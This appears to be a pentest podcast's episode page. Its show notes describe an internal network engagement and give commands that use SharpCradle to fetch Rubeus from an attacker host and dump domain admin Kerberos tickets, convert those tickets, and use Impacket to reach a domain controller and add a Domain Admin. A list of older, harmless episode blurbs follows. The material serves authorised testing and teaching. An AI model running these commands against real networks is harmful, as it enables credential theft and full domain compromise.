7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

  • Great blue team tools alerting our customer to a lot of the stuff we were doing
  • An EDR that we tried to beat up (but it beat us up instead)
  • SharpGPOAbuse which we talked about extensively last week
  • Separation of "everyday" accounts from privileged accounts
  • Multi-factor authentication bypass!
  • Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Avsnitt(689)

7MS #88: Glasswire

7MS #88: Glasswire

This episode's about a cool security app called GlassWire, which is (kind of) a firewall on steroids. I love it! Oh, and this is not an endorsement or a commercial :-)

25 Aug 20156min

7MS #87: Presenting the Right Findings to the Right Audience

7MS #87: Presenting the Right Findings to the Right Audience

Today I talk about challenge I run into when I'm delivering to a mixed audience of C-level folks and IT people. How do you keep things high level enough so everybody "gets it" but also go level enough that the recommendations have some teeth?

20 Aug 20157min

7MS #86: OSWP-The Final Chapter!

7MS #86: OSWP-The Final Chapter!

This episode concludes the gripping, thrilling, exciting, awesome-ing, death-defying, unsettling, rattling series on OSWP (Offensive Security Wireless Professional). Specifically, I talk (as much as I can without getting into trouble) about the exam and give you some pointers to pass it!

18 Aug 20157min

7MS #85: What is The Penetration Testers Framework (PTF)?

7MS #85: What is The Penetration Testers Framework (PTF)?

Need an easy way to create a modular/mobile kit of pentest tools to take with you from machine to machine? And ALSO be able to update all those modules in one command? Then check out the PTF! That's what we're talkin' about on today's podcast.

14 Aug 20157min

7MS #84: DIY Pwn Pad

7MS #84: DIY Pwn Pad

Hey have you heard of Pwn Pads? They're an awesome network pentesting tool that leverages a Nexus tablet - which you can either buy right from Pwnie Express, or create your own if you have a certain model of Nexus lying around. I just happened to have the right Nexus model around, so this podcast episode chronicles my trial and error (mostly error) in making a DIY Pwn Pad! P.S. to get the Android tools installed on Ubuntu 14.04, run these commands: -- sudo add-apt-repository ppa:nilarimogard/webupd8 sudo apt-get update sudo apt-get install android-tools-adb android-tools-fastboot --

12 Aug 20157min

7MS #83: Wifi Pineapple First Impressions

7MS #83: Wifi Pineapple First Impressions

in this episode I talk about my first hands-on experience with a Wifi Pineapple, and why you'll probably want one too.

6 Aug 20158min

7MS #82: OSWP-Part 3

7MS #82: OSWP-Part 3

The OSWP series is coming to a close. One final episode today and then the four-quel episode will be all about the test!

4 Aug 20157min

7MS #81: OSWP-Part 2

7MS #81: OSWP-Part 2

A continuation of our thrilling, exciting, mind-blowing series on OSWP (Offensive Security Wireless Professional)!

30 Juli 20158min

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